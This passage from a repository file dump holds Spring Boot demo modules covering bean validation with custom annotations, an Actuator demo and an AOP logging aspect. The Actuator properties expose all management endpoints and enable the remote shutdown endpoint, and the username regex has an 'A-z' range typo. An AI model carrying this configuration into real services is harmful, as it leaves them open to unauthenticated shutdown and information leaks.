    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/ValidationSpringBootDemoApplication.java",
    "content": "package com.kdyzm.validation.spring.bootdemo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class ValidationSpringBootDemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(ValidationSpringBootDemoApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/annotation/Mobile.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.annotation;\n\nimport com.kdyzm.validation.spring.bootdemo.util.ValidationUtil;\nimport com.kdyzm.validation.spring.bootdemo.validator.MobileValidator;\n\nimport javax.validation.Constraint;\nimport javax.validation.Payload;\nimport javax.validation.constraints.NotEmpty;\nimport javax.validation.constraints.Pattern;\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\n\nimport static java.lang.annotation.ElementType.*;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\n@Documented\n@Constraint(validatedBy = {MobileValidator.class})\n@Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n@Retention(RUNTIME)\npublic @interface Mobile {\n\n    String message() default ValidationUtil.MOBILE_MSG;\n\n    Class<?>[] groups() default {};\n\n    Class<? extends Payload>[] payload() default {};\n\n    String regexp() default ValidationUtil.MOBILE_REGX;\n\n    Pattern.Flag[] flags() default {};\n\n    @Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n    @Retention(RUNTIME)\n    @Documented\n    public @interface List {\n        Mobile[] value();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/annotation/UserName.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.annotation;\n\nimport com.kdyzm.validation.spring.bootdemo.util.ValidationUtil;\nimport com.kdyzm.validation.spring.bootdemo.validator.MobileValidator;\nimport com.kdyzm.validation.spring.bootdemo.validator.UserNameValidator;\n\nimport javax.validation.Constraint;\nimport javax.validation.Payload;\nimport javax.validation.constraints.Pattern;\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\n\nimport static java.lang.annotation.ElementType.*;\nimport static java.lang.annotation.ElementType.TYPE_USE;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\n@Documented\n@Constraint(validatedBy = {UserNameValidator.class})\n@Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n@Retention(RUNTIME)\npublic @interface UserName {\n\n    String message() default ValidationUtil.USERNAME_MSG;\n\n    Class<?>[] groups() default {};\n\n    Class<? extends Payload>[] payload() default {};\n\n    String regexp() default ValidationUtil.USERNAME_REGX;\n\n    Pattern.Flag[] flags() default {};\n\n    @Target({METHOD, FIELD, ANNOTATION_TYPE, CONSTRUCTOR, PARAMETER, TYPE_USE})\n    @Retention(RUNTIME)\n    @Documented\n    public @interface List {\n        UserName[] value();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/config/ValidationAdvice.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.config;\n\nimport com.kdyzm.validation.spring.bootdemo.model.WrapperResult;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.ObjectError;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\nimport org.springframework.web.multipart.MaxUploadSizeExceededException;\n\nimport javax.validation.ConstraintViolation;\nimport javax.validation.ConstraintViolationException;\nimport java.io.PrintWriter;\nimport java.io.StringWriter;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@RestControllerAdvice\n@Slf4j\npublic class ValidationAdvice {\n\n\n    @ExceptionHandler(Exception.class)\n    @ResponseBody\n    public WrapperResult handler(Exception e) {\n        //获取异常信息,获取异常堆栈的完整异常信息\n        StringWriter sw = new StringWriter();\n        PrintWriter pw = new PrintWriter(sw);\n        e.printStackTrace(pw);\n        //日志输出异常详情\n        log.error(sw.toString());\n        return WrapperResult.faild(\"服务异常，请稍后再试\");\n    }\n\n    @ExceptionHandler(ConstraintViolationException.class)\n    @ResponseBody\n    public WrapperResult handler(ConstraintViolationException e) {\n        StringBuffer errorMsg = new StringBuffer();\n        Set<ConstraintViolation<?>> violations = e.getConstraintViolations();\n        violations.forEach(x -> errorMsg.append(x.getMessage()).append(\";\"));\n        return WrapperResult.faild(errorMsg.toString());\n    }\n\n    //处理校验异常，对于对象类型的数据的校验异常\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    @ResponseBody\n    public WrapperResult handler(MethodArgumentNotValidException e) {\n        StringBuffer sb = new StringBuffer();\n        List<ObjectError> allErrors = e.getBindingResult().getAllErrors();\n        allErrors.forEach(msg -> sb.append(msg.getDefaultMessage()).append(\";\"));\n        return WrapperResult.faild(sb.toString());\n    }\n\n    //文件上传文件大小超出限制\n    @ExceptionHandler(MaxUploadSizeExceededException.class)\n    @ResponseBody\n    public WrapperResult<Map<String,Object>> fileSizeException(MaxUploadSizeExceededException exception) {\n        log.error(\"文件太大，上传失败\",exception);\n        return WrapperResult.faild(\"只允许上传不大于\"+exception.getMaxUploadSize()+\"的文件\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/controller/UserController.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.controller;\n\nimport com.kdyzm.validation.spring.bootdemo.group.ValidEmail;\nimport com.kdyzm.validation.spring.bootdemo.group.ValidMobile;\nimport com.kdyzm.validation.spring.bootdemo.group.ValidUserName;\nimport com.kdyzm.validation.spring.bootdemo.model.UserModel;\nimport com.kdyzm.validation.spring.bootdemo.model.WrapperResult;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.validation.constraints.NotBlank;\nimport javax.validation.constraints.NotNull;\n\n@RestController\n@Slf4j\n@RequestMapping(\"/user\")\n@Validated\npublic class UserController {\n\n    /**\n     * 根据id查询用户信息\n     *\n     * @param id\n     * @return\n     */\n    @GetMapping\n    public WrapperResult<UserModel> findUser(@NotNull(message = \"用户id不能为空\")\n                                                 @RequestParam(value = \"id\",required = false)\n                                                         Integer id) {\n        return WrapperResult.success(new UserModel());\n    }\n\n    /**\n     * 手机号注册\n     *\n     * @param userModel\n     * @return\n     */\n    @PostMapping(\"/mobile-regist\")\n    public WrapperResult<Boolean> mobileRegit(@Validated(ValidMobile.class) @RequestBody UserModel userModel) {\n        return WrapperResult.success(true);\n    }\n\n    /**\n     * 邮箱注册\n     *\n     * @param userModel\n     * @return\n     */\n    @PostMapping(\"/email-regist\")\n    public WrapperResult<Boolean> emailRegist(@Validated(ValidEmail.class) @RequestBody UserModel userModel) {\n        return WrapperResult.success(true);\n    }\n\n    /**\n     * 用户名注册\n     *\n     * @param userModel\n     * @return\n     */\n    @PostMapping(\"/username-regist\")\n    public WrapperResult<Boolean> userNameRegist(@Validated(ValidUserName.class) @RequestBody UserModel userModel) {\n        return WrapperResult.success(true);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/group/ValidEmail.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.group;\n\npublic interface ValidEmail {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/group/ValidMobile.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.group;\n\npublic interface ValidMobile {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/group/ValidUserName.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.group;\n\npublic interface ValidUserName {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/model/UserModel.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.model;\n\nimport com.kdyzm.validation.spring.bootdemo.annotation.Mobile;\nimport com.kdyzm.validation.spring.bootdemo.annotation.UserName;\nimport com.kdyzm.validation.spring.bootdemo.group.ValidEmail;\nimport com.kdyzm.validation.spring.bootdemo.group.ValidMobile;\nimport com.kdyzm.validation.spring.bootdemo.group.ValidUserName;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.*;\nimport java.util.List;\n\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class UserModel {\n\n    @NotEmpty(message = \"姓名不能为空\", groups = {ValidUserName.class})\n    @UserName(groups = {ValidUserName.class})\n    private String name;\n\n    @NotEmpty(message = \"手机号不能为空\", groups = {ValidMobile.class})\n    @Mobile(groups = {ValidMobile.class})\n    private String mobile;\n\n    @NotEmpty(message = \"电子邮箱不能为空\", groups = {ValidEmail.class})\n    @Email(message = \"电子邮箱格式不正确\", groups = {ValidEmail.class})\n    private String email;\n\n    private String password;\n\n    private String address;\n\n    @NotNull(message = \"年龄不能为空\")\n    @Min(value = 12, message = \"允许注册年龄最小为12岁\", groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    @Max(value = 24, message = \"允许年龄最大为24岁\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    private Integer age;\n\n    @NotEmpty(message = \"联系人不允许为空\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    @Size(min = 1, max = 3, message = \"联系人长度只允许1到3之间\",groups = {ValidEmail.class,ValidMobile.class,ValidUserName.class})\n    private List<String> contacts;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/model/ValidationResult.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.model;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.experimental.Accessors;\n\nimport java.util.Map;\n\n/**\n * @author kdyzm\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class ValidationResult {\n\n    private Boolean hasErrors;\n\n    private Map<String, String> errorMsg;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/model/WrapperResult.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.model;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport lombok.experimental.Accessors;\n\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@Accessors(chain = true)\npublic class WrapperResult<T> {\n\n    private int status;\n    private T data;\n    private String msg;\n\n    private static final int STATUS_SUCCESS = 0;\n    private static final int STATUS_FAILD = 1;\n\n\n    public static <T> WrapperResult<T> success(T data) {\n        return WrapperResult\n                .<T>builder()\n                .data(data)\n                .msg(\"OK\")\n                .status(STATUS_SUCCESS)\n                .build();\n    }\n\n\n    public static <T> WrapperResult<T> faild(String msg) {\n        return WrapperResult\n                .<T>builder()\n                .data(null)\n                .msg(msg)\n                .status(STATUS_FAILD)\n                .build();\n    }\n\n    public boolean isSuccess() {\n        return this.status == STATUS_SUCCESS;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/util/ValidationUtil.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.util;\n\nimport com.kdyzm.validation.spring.bootdemo.model.ValidationResult;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.validation.ConstraintViolation;\nimport javax.validation.Validation;\nimport javax.validation.Validator;\nimport javax.validation.groups.Default;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class ValidationUtil {\n    //手机号校验正则\n    public static final String MOBILE_REGX = \"^[1][3-9][0-9]{9}$\";\n\n    public static final String MOBILE_MSG = \"手机号格式错误\";\n\n    //用户名校验正则\n    public static final String USERNAME_REGX = \"^[a-zA-z]\\\\w{4,19}$\";\n\n    public static final String USERNAME_MSG = \"账号必须是字母开头，字母、数字、下划线组成，4-20位\";\n\n\n    private static final Validator validator = Validation.buildDefaultValidatorFactory().getValidator();\n\n    /**\n     * 验证某个对象所有字段\n     *\n     * @param obj\n     * @param <T>\n     * @return\n     */\n    public static <T> ValidationResult validateEntity(T obj) {\n        ValidationResult result = new ValidationResult();\n        Set<ConstraintViolation<T>> set = validator.validate(obj, Default.class);\n        if (!CollectionUtils.isEmpty(set)) {\n            result.setHasErrors(true);\n            Map<String, String> errorMsg = new HashMap<>();\n            for (ConstraintViolation<T> cv : set) {\n                errorMsg.put(cv.getPropertyPath().toString(), cv.getMessage());\n            }\n            result.setErrorMsg(errorMsg);\n        }\n        return result;\n    }\n\n    /**\n     * 验证某个对象某个字段\n     *\n     * @param obj\n     * @param propertyName\n     * @param <T>\n     * @return\n     */\n    public static <T> ValidationResult validateProperty(T obj, String propertyName) {\n        ValidationResult result = new ValidationResult();\n        Set<ConstraintViolation<T>> set = validator.validateProperty(obj, propertyName, Default.class);\n        if (!CollectionUtils.isEmpty(set)) {\n            result.setHasErrors(true);\n            Map<String, String> errorMsg = new HashMap<>();\n            for (ConstraintViolation<T> cv : set) {\n                errorMsg.put(propertyName, cv.getMessage());\n            }\n            result.setErrorMsg(errorMsg);\n        }\n        return result;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/validator/MobileValidator.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.validator;\n\nimport com.kdyzm.validation.spring.bootdemo.annotation.Mobile;\nimport org.springframework.util.StringUtils;\n\nimport javax.validation.ConstraintValidator;\nimport javax.validation.ConstraintValidatorContext;\n\npublic class MobileValidator implements ConstraintValidator<Mobile, String> {\n\n    private String regexp;\n\n    @Override\n    public void initialize(Mobile constraintAnnotation) {\n        //获取校验的手机号的格式\n        this.regexp = constraintAnnotation.regexp();\n    }\n\n    @Override\n    public boolean isValid(String value, ConstraintValidatorContext context) {\n        if (!StringUtils.hasText(value)) {\n            return true;\n        }\n        return value.matches(regexp);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/java/com/kdyzm/validation/spring/bootdemo/validator/UserNameValidator.java",
    "content": "package com.kdyzm.validation.spring.bootdemo.validator;\n\nimport com.kdyzm.validation.spring.bootdemo.annotation.UserName;\nimport org.springframework.util.StringUtils;\n\nimport javax.validation.ConstraintValidator;\nimport javax.validation.ConstraintValidatorContext;\n\npublic class UserNameValidator implements ConstraintValidator<UserName, String> {\n\n    private String regexp;\n\n    @Override\n    public void initialize(UserName constraintAnnotation) {\n        //获取校验的手机号的格式\n        this.regexp = constraintAnnotation.regexp();\n    }\n\n    @Override\n    public boolean isValid(String value, ConstraintValidatorContext context) {\n        if (!StringUtils.hasText(value)) {\n            return true;\n        }\n        return value.matches(regexp);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/main/resources/application.properties",
    "content": "server.port=8080\nspring.application.name=validation-spring-boot-demo"
  },
  {
    "path": "jun_springboot_plugin/springboot-validation/src/test/java/com/kdyzm/validation/spring/bootdemo/ValidationSpringBootDemoApplicationTests.java",
    "content": "package com.kdyzm.validation.spring.bootdemo;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass ValidationSpringBootDemoApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_actuator</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-actuator</artifactId>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t     <dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-devtools</artifactId>\n\t        <optional>true</optional>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<configuration>\n\t                <fork>true</fork>\n\t            </configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/main/java/com/jun/plugin/ActuatorApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class ActuatorApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(ActuatorApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/main/java/com/jun/plugin/controller/HelloController.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class HelloController {\n\t\n    @RequestMapping(\"/hello\")\n    public String index() {\n        return \"Hello World\";\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/main/resources/application.properties",
    "content": "info.app.name=spring-boot-actuator\ninfo.app.version= 1.0.0\ninfo.app.test=test\nserver.http2.enabled=true\nmanagement.endpoints.web.exposure.include=*\nmanagement.endpoint.health.show-details=always\n#management.endpoints.web.base-path=/manage\n\nmanagement.endpoint.shutdown.enabled=true\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/main/resources/conf/server.xml",
    "content": "<Connector port=\"8443\" protocol=\"org.apache.coyote.http11.Http11AprProtocol\" maxThreads=\"150\" SSLEnabled=\"true\">\n    <UpgradeProtocol className=\"org.apache.coyote.http2.Http2Protocol\"/>\n    <SSLHostConfig honorCipherOrder=\"false\">\n        <Certificate certificateKeyFile=\"conf/ca.key\" certificateFile=\"conf/ca.crt\"/>\n    </SSLHostConfig>\n</Connector>"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/test/java/com/jun/plugin/ActuatorApplicationTests.java",
    "content": "package com.jun.plugin;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ActuatorApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello word\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/test/java/com/jun/plugin/controller/HelloTests.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.MediaType;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport static org.hamcrest.Matchers.equalTo;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;\nimport static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class HelloTests {\n\n\t\n    private MockMvc mvc;\n\n    @Before\n    public void setUp() throws Exception {\n        mvc = MockMvcBuilders.standaloneSetup(new HelloController()).build();\n    }\n\n    @Test\n    public void getHello() throws Exception {\n        mvc.perform(MockMvcRequestBuilders.get(\"/hello\").accept(MediaType.APPLICATION_JSON))\n                .andExpect(status().isOk())\n                .andExpect(content().string(equalTo(\"Hello World\")));\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_actuator/src/test/java/com/jun/plugin/controller/HelloWorldControlerTests.java",
    "content": "package com.jun.plugin.controller;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.MediaType;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.result.MockMvcResultHandlers;\nimport org.springframework.test.web.servlet.result.MockMvcResultMatchers;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class HelloWorldControlerTests {\n\n    private MockMvc mvc;\n\n    @Before\n    public void setUp() throws Exception {\n        mvc = MockMvcBuilders.standaloneSetup(new HelloController()).build();\n    }\n\n    @Test\n    public void getHello() throws Exception {\n        mvc.perform(MockMvcRequestBuilders.get(\"/hello\").accept(MediaType.APPLICATION_JSON))\n                .andExpect(MockMvcResultMatchers.status().isOk())\n                .andDo(MockMvcResultHandlers.print())\n                .andReturn();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/README.md",
    "content": "## SpringBoot AOP演示项目\n\n面向切面编程\n\n几个重要概念搞清楚就行\n\n* 执行点（Executepoint） - 类初始化，方法调用。\n* 连接点（Joinpoint）    - 执行点+方位的组合，可确定Joinpoint，比如类开始初始化前，类初始化后，方法调用前，方法调用后。\n* 切点（Pointcut）       - 在众多执行点中，定位感兴趣的执行点。Executepoint相当于数据库表中的记录，而Pointcut相当于查询条件。\n* 增强（Advice）         - 织入到目标类连接点上的一段程序代码。除了一段程序代码外，还拥有执行点的方位信息。\n* 目标对象（Target）     - 增强逻辑的织入目标类\n* 引介（Introduction）   - 一种特殊的增强（advice），它为类添加一些额外的属性和方法，动态为业务类添加其他接口的实现逻辑，让业务类成为这个接口的实现类。\n* 代理（Proxy）          - 一个类被AOP织入后，产生一个结果类，它便是融合了原类和增强逻辑的代理类。\n* 切面（Aspect）         - 切面由切点（Pointcut）和增强（Advice/Introduction）组成，既包括横切逻辑定义，也包括连接点定义。\n\nAOP工作重点：\n\n1. 如何通过切点（Pointcut）和增强（Advice）定位到连接点（Jointpoint）上；\n2. 如何在增强（Advice）中编写切面的代码。\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_aop</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot AOP演示</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/Application.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/aop/AfterStartRunner.java",
    "content": "package com.jun.plugin.aop;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.stereotype.Component;\n\n/**\n * MonitorBossAfterStart\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/7/18\n */\n@Component\n@Order(1)\npublic class AfterStartRunner implements CommandLineRunner {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    public void run(String... args) {\n        logger.debug(\"after start debug...\");\n        logger.info(\"after start info...\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/aop/aspect/LogAspect.java",
    "content": "package com.jun.plugin.aop.aspect;\n\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.*;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Arrays;\n\n/**\n * 日志切面\n */\n@Aspect\n@Component\npublic class LogAspect {\n    @Pointcut(\"execution(public * com.jun.plugin.aop.controller.*.*(..))\")\n    public void webLog(){}\n\n    @Before(\"webLog()\")\n    public void deBefore(JoinPoint joinPoint) throws Throwable {\n        // 接收到请求，记录请求内容\n        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();\n        HttpServletRequest request = attributes.getRequest();\n        // 记录下请求内容\n        System.out.println(\"URL : \" + request.getRequestURL().toString());\n        System.out.println(\"HTTP_METHOD : \" + request.getMethod());\n        System.out.println(\"IP : \" + request.getRemoteAddr());\n        System.out.println(\"CLASS_METHOD : \" + joinPoint.getSignature().getDeclaringTypeName() + \".\" + joinPoint.getSignature().getName());\n        System.out.println(\"ARGS : \" + Arrays.toString(joinPoint.getArgs()));\n\n    }\n\n    @AfterReturning(returning = \"ret\", pointcut = \"webLog()\")\n    public void doAfterReturning(Object ret) throws Throwable {\n        // 处理完请求，返回内容\n        System.out.println(\"方法的返回值 : \" + ret);\n    }\n\n    //后置异常通知\n    @AfterThrowing(\"webLog()\")\n    public void throwss(JoinPoint jp){\n        System.out.println(\"方法异常时执行.....\");\n    }\n\n    